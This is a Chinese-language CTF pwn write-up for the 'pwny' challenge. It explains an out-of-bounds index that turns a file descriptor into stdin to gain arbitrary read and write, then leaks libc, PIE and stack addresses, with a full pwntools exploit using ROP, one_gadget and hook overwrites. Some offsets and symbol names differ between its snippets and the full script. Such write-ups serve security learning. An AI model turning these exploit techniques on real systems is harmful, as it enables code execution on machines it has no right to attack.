libc-2.27_1.4_amd64,在NSS上下载没有给libc,我只能用Libcsearcher还找不到,应该是我哪步错了,用本地的libc打通了远程还不通,浪费我好长时间。。。。。
PE64位,保护全开,main函数

在A10函数中打开了随机数文件并将文件描述符放在bss段上的一个变量

在write函数中我们给出index,程序会将随机数写入以202060[index]的地方,v0还是有符号int,存在数组越界

在read函数中程序会返回02060[rand]的结果,大概率访问到非法内存导致退出

再bss段上发现202060下面正好是随机数文件描述符,可以进行覆盖为stdin实现任意地址写,当文件描述符不存在时会读取不到从而往下进行,实际上我试了以下会报错。。


我们可以两次write将该文件描述符值0
p.recvuntil(b"Your choice: ")
p.sendline(b'2')
p.recvuntil(b"Index: ")
p.sendline(b'256')
p.recvuntil(b"Your choice: ")
p.sendline(b'2')
p.recvuntil(b"Index: ")
p.sendline(b'256')
第一次将文件描述符改为0x4d

第二次,读取0x4d文件描述符内容读取不到[esp]为0,mov rdx, qword ptr [rsp]将文件描述符置为stdin得到任意地址写


在202060上面存在stdin,stderr等libc和.data段地址中的地址可以写入负数泄露libc地址和PIE基址,泄露后读取libc中的environ得到栈地址


p.recvuntil(b"Your choice: ")
p.sendline(b'1')
p.recvuntil(b"Index: ")
p.sendline(p64(0xfffffffffffffffc))
p.recvuntil(b"Result: ")
base=int('0x'+p.recvuntil(b'\n')[-13:].strip().decode(),16)-0x3EC680
print(hex(base))
env=base+libc.symbols['environ']
p.sendline(b'1')
p.recvuntil(b"Index: ")
p.sendline(p64(0xfffffffffffffff5))
proc_addr=int('0x'+p.recvuntil(b'\n')[-13:].strip().decode(),16)+0x58
proc_base=proc_addr-0x202060
p.recvuntil(b"Your choice: ")
p.sendline(b'1')
p.recvuntil(b"Index: ")
p.send(p64((env-proc_addr)//8))
stack=int('0x'+p.recvuntil(b'\n')[-13:].strip().decode(),16)-0x120
方法1:在write栈上布置rop链,要注意我们是分多次写入,要从后往前写,不然会影响函数返回地址导致在rop链形成前程序退出,不能写入返回地址+1的位置会被覆盖,我们直接pop edi将多余的数据删去


p.recvuntil(b"Your choice: ")
p.sendline(b'2')
p.recvuntil(b"Index: ")
p.sendline(str(((stack-proc_addr)//8)+5).encode())
p.send(p64(system))
p.recvuntil(b"Your choice: ")
p.sendline(b'2')
p.recvuntil(b"Index: ")
p.sendline(str(((stack-proc_addr)//8)+4).encode())
p.send(p64(bin_sh))
p.recvuntil(b"Your choice: ")
p.sendline(b'2')
p.recvuntil(b"Index: ")
p.sendline(str(((stack-proc_addr)//8)+3).encode())
p.send(p64(pop_edi))
p.recvuntil(b"Your choice: ")
p.sendline(b'2')
p.recvuntil(b"Index: ")
p.sendline(str(((stack-proc_addr)//8)+1).encode())
p.send(p64(ret))
p.recvuntil(b"Your choice: ")
p.sendline(b'2')
p.recvuntil(b"Index: ")
p.sendline(str(((stack-proc_addr)//8)).encode())
p.send(p64(base+0x10a41c))
到write的ret时栈排布,多一个ret是为了栈对齐


方法2:用libc中的onegadget修改返回地址即可,由于我没有libc只能去wp抄一个gadget
p.recvuntil(b"Your choice: ")
p.sendline(b'2')
p.recvuntil(b"Index: ")
p.sendline(str(((stack-proc_addr)//8)).encode())
p.send(p64(base+0x10a41c))

方法3 将og写入__realloc_hook,将reallo函数地址写入__malloc__hook,改返回地址为malloc。该方法要初始化malloc的got表否则不能调用malloc
完整exp:
from pwn import *
from pwn import p64,p32,u64,u32
from struct import pack
context(os="linux",log_level="debug")
import os,base64
from LibcSearcher import *
filename="./pwny"
elf=ELF(filename)
context.arch=elf.arch
os.system(f'chmod 777 ./{filename}')
debug=0
if debug:
p=process(filename)
else:
p=remote("node4.anna.nssctf.cn",28815)
def uu64():
a=u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
return a
#gdb.attach(p,"b *$rebase(0xBF6)")
libc=ELF("/root/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so")
p.recvuntil(b"Your choice: ")
p.sendline(b'2')
p.recvuntil(b"Index: ")
p.sendline(b'256')
p.recvuntil(b"Your choice: ")
p.sendline(b'2')
p.recvuntil(b"Index: ")
p.sendline(b'256')
p.recvuntil(b"Your choice: ")
p.sendline(b'1')
p.recvuntil(b"Index: ")
p.sendline(p64(0xfffffffffffffffc))
p.recvuntil(b"Result: ")
#_IO_2_1_stderr_
base=int('0x'+p.recvuntil(b'\n')[-13:].strip().decode(),16)-0x3EC680
print(hex(base))
env=base+libc.symbols['environ']
p.sendline(b'1')
p.recvuntil(b"Index: ")
p.sendline(p64(0xfffffffffffffff5))
proc_addr=int('0x'+p.recvuntil(b'\n')[-13:].strip().decode(),16)+0x58
proc_base=proc_addr-0x202060
pop_edi=proc_base+0xcd3
print(pop_edi)
ret=proc_base+0xC20
system=base+libc.symbols['system']
bin_sh=base+next(libc.search(b"/bin/sh"))
malloc_hook=base+libc.symbols['__malloc__hook']
realloc_hook=base+libc.symbols['__realloc__hook']
p.recvuntil(b"Your choice: ")
p.sendline(b'1')
p.recvuntil(b"Index: ")
p.send(p64((env-proc_addr)//8))
stack=int('0x'+p.recvuntil(b'\n')[-13:].strip().decode(),16)-0x120
print(hex(stack))
p.recvuntil(b"Your choice: ")
p.sendline(b'2')
p.recvuntil(b"Index: ")
p.sendline(str(((stack-proc_addr)//8)+5).encode())
p.send(p64(system))
# #
p.recvuntil(b"Your choice: ")
p.sendline(b'2')
p.recvuntil(b"Index: ")
p.sendline(str(((stack-proc_addr)//8)+4).encode())
p.send(p64(bin_sh))
p.recvuntil(b"Your choice: ")
p.sendline(b'2')
p.recvuntil(b"Index: ")
p.sendline(str(((stack-proc_addr)//8)+3).encode())
p.send(p64(pop_edi))
p.recvuntil(b"Your choice: ")
p.sendline(b'2')
p.recvuntil(b"Index: ")
p.sendline(str(((stack-proc_addr)//8)+2).encode())
p.send(p64(ret))
p.recvuntil(b"Your choice: ")
p.sendline(b'2')
p.recvuntil(b"Index: ")
p.sendline(str(((stack-proc_addr)//8)).encode())
p.send(p64(pop_edi))
# p.recvuntil(b"Your choice: ")
# p.sendline(b'2')
# p.recvuntil(b"Index: ")
# p.sendline(str(((stack-proc_addr)//8)).encode())
# p.send(p64(base+0x10a41c))
p.interactive()
Comments NOTHING